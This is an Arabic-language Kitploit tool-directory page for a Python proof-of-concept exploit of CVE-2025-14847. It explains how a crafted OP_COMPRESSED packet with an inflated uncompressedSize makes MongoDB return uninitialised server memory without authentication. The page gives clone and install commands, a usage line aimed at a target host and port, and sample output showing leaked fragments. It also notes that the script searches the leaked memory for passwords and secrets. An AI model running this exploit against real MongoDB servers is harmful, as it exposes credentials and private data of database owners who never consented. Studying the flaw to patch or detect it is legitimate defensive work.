Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/lincemorado97/cve-2025-14847
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالتسريب البياناتاختبار الاختراقأمن قواعد البيانات
GitHublincemorado97/cve-2025-14847

CVE-2025-14847

CVE-2025-14847 – استغلال تسرب الذاكرة بدون مصادقة في MongoDB

عرض المستودع
13منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-14847 – استغلال تسريب الذاكرة غير المُصادَق عليه في MongoDB

نظرة عامة

إثبات مفهوم (PoC) لاستغلال ثغرة فك ضغط zlib في MongoDB التي تتيح للمهاجمين غير المُصادَق عليهم قراءة ذاكرة حساسة من الخادم.
تم تنفيذ الإثبات بلغة Python 3 ويوضح كيف يمكن لحزمة OP_COMPRESSED خبيثة أن تُفعِّل الثغرة، مما يجعل MongoDB يُرجع ذاكرة غير مهيأة كبيانات BSON.


ماذا يفعل الاستغلال

تنجم الثغرة عن خلل في آلية فك ضغط رسائل zlib في MongoDB:

  1. يتم إرسال رسالة مضغوطة مع ادعاء مبالغ فيه بقيمة uncompressedSize.
  2. يخصّص MongoDB مخزنًا مؤقتًا كبيرًا استنادًا إلى تلك القيمة المبالغ فيها.
  3. يقوم zlib بفك ضغط البيانات الفعلية في بداية ذلك المخزن المؤقت.
  4. يتعامل MongoDB مع المخزن المؤقت بالكامل كبيانات صالحة، مما يؤدي إلى قراءة ذاكرة غير مهيأة.
  5. يقوم محلل BSON بعد ذلك بقراءة "أسماء الحقول" من تلك الذاكرة حتى يصادف بايتًا فارغًا، مما يكشف بيانات مخفية.

يرسل الإثبات حزمة OP_COMPRESSED مُصمَّمة خصيصًا ويحلل استجابة الخطأ من الخادم لاستعادة أجزاء البيانات المسرّبة.


المتطلبات الأساسية

المكوّنالإصدارملاحظات
Python≥ 3.8البرنامج النصي مخصص لـ Python 3 فقط
MongoDB≥ 4.4يجب أن يكون الهدف عرضة لثغرة CVE‑2025‑14847
اختياري

التثبيت

root@kitploit:~
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847

# (Optional) Install required Python packages
pip install -r requirements.txt

الاستخدام

root@kitploit:~
python exploit.py [OPTIONS]

مثال:

root@kitploit:~
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin

مثال

root@kitploit:~
$ python3 exploit.py 
11:02:41 CVE-2025-14847     INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847     INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:41 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847     INFO │ 00000000:  20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b  | object with unk|
11:02:41 CVE-2025-14847     INFO │ 00000010:  6e 6f 77 6e 20 5f 69 64                          |nown _id|
11:02:41 CVE-2025-14847     INFO │ [+] offset=  39 len=  24:
11:02:45 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
11:02:45 CVE-2025-14847     INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847     INFO │ 00000000:  73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67  |s skipped during|
11:02:45 CVE-2025-14847     INFO │ 00000010:  20 74 72 65 65 20 77 61 6c 6b                    | tree walk|
11:02:45 CVE-2025-14847     INFO │ [+] offset=3064 len=  26:
11:02:50 CVE-2025-14847     INFO │ Offset      Hex                                              ASCII
....
11:02:50 CVE-2025-14847     INFO │ [+] offset=6663 len=  38:
11:02:52 CVE-2025-14847  SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847  SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847  SUCCESS │ [*] Saved to: leaked.bin

سيقوم البرنامج النصي بتسجيل كل جزء مثير للاهتمام (بطول أكبر من 10 بايتات) وإخراج عرض سداسي عشري. تُلحق جميع البيانات المسرّبة بالملف leaked.bin.

demo


فهم المخرجات

  • العرض السداسي العشري (Hexdump): يعرض مجموعة فرعية من البيانات المسرّبة بصيغتي hex و ASCII.
  • أسطر السجل: [+] offset= <doc_len> len= <len> تشير إلى مكان العثور على الجزء.
  • إجمالي المسرّب: البايتات المكتوبة في ملف الإخراج.
  • الأجزاء الفريدة: مجموعات البيانات المميزة المكتشفة.
  • كشف الأسرار: يطبع البرنامج النصي أيًا من الأنماط المحددة مسبقًا (password، secret، إلخ) الموجودة في البيانات المسرّبة.

المراجع

  • CVE-2025-14847 – https://nvd.nist.gov/vuln/detail/CVE-2025-14847
  • التحليل: https://www.ox.security/blog/attackers-could-exploit-zlib-to-exfiltrate-data-cve-2025-14847/

إخلاء مسؤولية

يُقدَّم هذا الإثبات "كما هو" دون أي ضمان. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر يسببه هذا البرنامج النصي. استخدمه على مسؤوليتك الخاصة.

تنزيل الأداة
requirements.txt
مرفق في المستودع
الخيارالافتراضيالوصف
--hostlocalhostمضيف MongoDB الهدف
--port27017منفذ MongoDB الهدف
--min-offset20الحد الأدنى لطول المستند المراد فحصه
--max-offset8192الحد الأقصى لطول المستند المراد فحصه
--outputleaked.binالملف الذي تُحفظ فيه البيانات المسرّبة